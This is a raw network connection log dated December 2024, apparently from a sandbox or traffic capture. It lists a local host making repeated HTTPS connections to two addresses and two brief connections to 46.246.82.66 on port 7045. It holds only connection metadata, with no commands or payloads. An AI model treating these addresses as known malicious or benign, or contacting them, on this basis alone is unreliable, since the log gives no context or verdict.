Dec 17, 2024 03:53:26.295922995 CET	443	50063	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:26.295983076 CET	50063	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:26.296325922 CET	50063	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:26.296336889 CET	443	50063	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:26.471330881 CET	443	50054	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.471422911 CET	50054	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.761914968 CET	443	50060	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.762013912 CET	50060	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.762940884 CET	50060	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.762948036 CET	443	50060	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.763068914 CET	50060	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.763106108 CET	443	50060	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.763154984 CET	50060	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.763946056 CET	50064	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.763987064 CET	443	50064	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:26.764082909 CET	50064	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.764461040 CET	50064	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:26.764472961 CET	443	50064	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.098478079 CET	443	50061	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.098720074 CET	50061	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.099673033 CET	50061	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.099673033 CET	50061	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.099730968 CET	443	50061	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.100172043 CET	443	50061	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.100366116 CET	50061	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.100475073 CET	50065	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.100563049 CET	443	50065	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.100644112 CET	50065	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.101063013 CET	50065	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.101103067 CET	443	50065	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.472153902 CET	443	50062	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.472219944 CET	50062	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.474354029 CET	50062	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.474363089 CET	443	50062	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.474455118 CET	50062	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.474488020 CET	443	50062	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.474530935 CET	50062	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.475294113 CET	50070	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.475406885 CET	443	50070	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.475668907 CET	50070	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.475944996 CET	50070	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.475995064 CET	443	50070	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.679527044 CET	443	50063	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:27.679691076 CET	50063	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:27.680636883 CET	50063	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:27.680644035 CET	443	50063	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:27.680773020 CET	50063	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:27.681354046 CET	443	50063	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:27.681425095 CET	50063	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:27.681590080 CET	50072	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:27.681673050 CET	443	50072	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:27.681987047 CET	50072	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:27.682231903 CET	50072	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:27.682276011 CET	443	50072	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:27.970865011 CET	443	50064	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.970966101 CET	50064	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.972086906 CET	50064	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.972095966 CET	443	50064	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.972203016 CET	50064	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.972258091 CET	443	50064	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.972306967 CET	50064	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.973089933 CET	50073	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.973172903 CET	443	50073	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:27.973273039 CET	50073	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.973710060 CET	50073	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:27.973751068 CET	443	50073	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:28.682452917 CET	443	50065	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:28.682595015 CET	50065	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:28.683725119 CET	50065	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:28.683726072 CET	50065	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:28.683815956 CET	443	50065	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:28.684041023 CET	443	50065	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:28.684256077 CET	50065	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:28.684783936 CET	50074	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:28.684884071 CET	443	50074	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:28.684972048 CET	50074	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:28.685373068 CET	50074	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:28.685410976 CET	443	50074	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.002846003 CET	443	50070	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.003072023 CET	50070	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.004081011 CET	50070	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.004081011 CET	50070	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.004139900 CET	443	50070	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.004322052 CET	443	50070	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.004559040 CET	50070	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.004944086 CET	50075	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.004992008 CET	443	50075	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.005072117 CET	50075	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.005454063 CET	50075	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.005472898 CET	443	50075	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.064652920 CET	443	50072	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:29.064739943 CET	50072	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:29.065568924 CET	50072	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:29.065581083 CET	443	50072	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:29.065682888 CET	50072	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:29.065958023 CET	443	50072	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:29.066037893 CET	50072	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:29.066410065 CET	50076	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:29.066472054 CET	443	50076	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:29.066554070 CET	50076	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:29.066850901 CET	50076	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:29.066878080 CET	443	50076	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:29.499998093 CET	443	50073	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.500072956 CET	50073	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.500993967 CET	50073	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.501000881 CET	443	50073	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.501089096 CET	50073	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.501202106 CET	443	50073	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.501256943 CET	50073	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.501925945 CET	50080	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.501935959 CET	443	50080	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.501997948 CET	50080	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.502396107 CET	50080	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.502405882 CET	443	50080	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.591449976 CET	50082	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:29.653244019 CET	50083	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:29.711355925 CET	7045	50082	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:29.711448908 CET	50082	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:29.711734056 CET	50082	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:29.773201942 CET	7045	50083	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:29.773370981 CET	50083	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:29.773677111 CET	50083	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:29.831574917 CET	7045	50082	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:29.893495083 CET	7045	50083	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:29.904900074 CET	443	50074	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.905019999 CET	50074	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.905853033 CET	50074	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.905875921 CET	443	50074	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.905988932 CET	50074	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.906097889 CET	443	50074	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.906166077 CET	50074	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.906857967 CET	50085	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.906902075 CET	443	50085	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:29.907089949 CET	50085	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.907557964 CET	50085	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:29.907569885 CET	443	50085	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:30.453998089 CET	443	50076	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:30.454096079 CET	50076	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:30.454920053 CET	50076	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:30.454935074 CET	443	50076	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:30.455003023 CET	50076	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:30.455307961 CET	443	50076	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:30.455431938 CET	50076	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:30.455794096 CET	50086	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:30.455826044 CET	443	50086	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:30.455890894 CET	50086	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:30.456305027 CET	50086	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:30.456316948 CET	443	50086	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:30.528207064 CET	443	50075	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:30.528404951 CET	50075	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:30.529053926 CET	50075	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:30.529083014 CET	443	50075	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:30.529134035 CET	50075	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:30.529258013 CET	443	50075	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:30.529758930 CET	50087	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:30.529776096 CET	443	50087	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:30.529784918 CET	50075	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:30.529830933 CET	50087	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:30.530183077 CET	50087	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:30.530190945 CET	443	50087	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.058978081 CET	443	50080	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.059061050 CET	50080	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.060087919 CET	50080	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.060096025 CET	443	50080	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.060131073 CET	50080	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.060297012 CET	443	50080	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.060878038 CET	50088	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.060892105 CET	50080	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.060970068 CET	443	50088	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.061053991 CET	50088	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.061464071 CET	50088	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.061497927 CET	443	50088	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.118108034 CET	443	50085	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.118297100 CET	50085	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.118923903 CET	50085	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.118931055 CET	443	50085	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.119000912 CET	50085	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.119280100 CET	443	50085	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.119628906 CET	50085	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.119625092 CET	50089	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.119712114 CET	443	50089	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.119790077 CET	50089	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.120152950 CET	50089	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.120191097 CET	443	50089	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.736633062 CET	443	50087	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.736799955 CET	50087	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.737914085 CET	50087	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.737920046 CET	443	50087	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.738004923 CET	50087	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.738048077 CET	443	50087	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.738081932 CET	50087	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.738900900 CET	50094	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.739022017 CET	443	50094	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.739104986 CET	50094	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.739636898 CET	50094	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:31.739720106 CET	443	50094	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:31.836950064 CET	443	50086	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:31.837160110 CET	50086	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:31.837806940 CET	50086	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:31.837814093 CET	443	50086	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:31.837929964 CET	50086	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:31.838443995 CET	443	50086	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:31.838510036 CET	50086	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:31.838613987 CET	50095	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:31.838701963 CET	443	50095	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:31.838783026 CET	50095	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:31.839272022 CET	50095	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:31.839307070 CET	443	50095	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:32.278415918 CET	443	50088	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:32.278496027 CET	50088	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.296175957 CET	50088	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.296200037 CET	443	50088	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:32.296341896 CET	443	50088	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:32.296361923 CET	50088	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.296371937 CET	443	50088	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:32.296400070 CET	50088	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.297063112 CET	50097	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.297092915 CET	443	50097	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:32.297164917 CET	50097	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.297583103 CET	50097	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.297595024 CET	443	50097	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:32.332304001 CET	443	50089	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:32.332442045 CET	50089	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.333245993 CET	50089	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.333277941 CET	443	50089	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:32.333384991 CET	50089	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.333668947 CET	443	50089	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:32.333734035 CET	50089	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.334327936 CET	50098	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.334376097 CET	443	50098	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:32.334465027 CET	50098	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.334862947 CET	50098	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:32.334887028 CET	443	50098	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.228550911 CET	443	50095	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:33.228662014 CET	50095	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:33.229506969 CET	50095	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:33.229533911 CET	443	50095	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:33.229604006 CET	50095	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:33.230184078 CET	443	50095	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:33.230264902 CET	50095	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:33.230268955 CET	50099	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:33.230310917 CET	443	50099	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:33.230374098 CET	50099	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:33.231084108 CET	50099	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:33.231101036 CET	443	50099	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:33.292139053 CET	443	50094	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.292222023 CET	50094	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.292887926 CET	50094	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.292917013 CET	443	50094	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.292963982 CET	50094	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.293078899 CET	443	50094	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.293131113 CET	50094	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.293673992 CET	50100	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.293739080 CET	443	50100	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.293818951 CET	50100	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.294450045 CET	50100	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.294478893 CET	443	50100	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.507734060 CET	443	50097	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.507837057 CET	50097	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.508779049 CET	50097	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.508815050 CET	443	50097	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.508888960 CET	50097	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.509205103 CET	443	50097	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.509268045 CET	50097	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.509751081 CET	50101	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.509843111 CET	443	50101	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.509918928 CET	50101	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.510334969 CET	50101	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.510380030 CET	443	50101	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.781677961 CET	7045	50082	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:33.781774044 CET	50082	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:33.781850100 CET	50082	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:33.782310009 CET	7045	50083	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:33.782414913 CET	50083	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:33.782501936 CET	50083	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:33.866935015 CET	443	50098	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.867151976 CET	50098	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.868135929 CET	50098	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.868135929 CET	50098	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.868192911 CET	443	50098	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.868614912 CET	443	50098	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.868680000 CET	50098	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.868870020 CET	50105	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.868889093 CET	443	50105	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.868952990 CET	50105	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.869338036 CET	50105	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:33.869349003 CET	443	50105	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:33.901721954 CET	7045	50082	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:33.902409077 CET	7045	50083	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:34.613738060 CET	443	50099	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:34.614012957 CET	50099	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:34.614728928 CET	50099	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:34.614753962 CET	443	50099	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:34.614837885 CET	50099	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:34.615101099 CET	443	50099	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:34.615154982 CET	50099	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:34.615629911 CET	50108	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:34.615658998 CET	443	50108	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:34.615734100 CET	50108	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:34.616094112 CET	50108	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:34.616106033 CET	443	50108	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:34.720350027 CET	443	50101	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:34.720573902 CET	50101	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.721273899 CET	50101	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.721301079 CET	443	50101	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:34.721378088 CET	50101	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.721652031 CET	443	50101	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:34.721710920 CET	50101	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.722058058 CET	50109	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.722107887 CET	443	50109	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:34.722187042 CET	50109	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.722541094 CET	50109	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.722569942 CET	443	50109	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:34.816540956 CET	443	50100	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:34.816735029 CET	50100	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.817450047 CET	50100	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.817471981 CET	443	50100	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:34.817527056 CET	50100	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.817640066 CET	443	50100	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:34.817696095 CET	50100	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.818375111 CET	50110	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.818401098 CET	443	50110	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:34.818464994 CET	50110	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.818818092 CET	50110	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:34.818825006 CET	443	50110	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:35.399184942 CET	443	50105	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:35.399430037 CET	50105	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:35.400851965 CET	50105	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:35.400867939 CET	443	50105	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:35.400963068 CET	50105	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:35.401319981 CET	443	50105	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:35.401376963 CET	50105	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:35.402379036 CET	50111	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:35.402467012 CET	443	50111	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:35.402542114 CET	50111	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:35.402921915 CET	50111	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:35.402956963 CET	443	50111	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:36.013899088 CET	443	50108	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:36.014273882 CET	50108	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:36.014913082 CET	50108	443	192.168.2.4	140.82.121.3
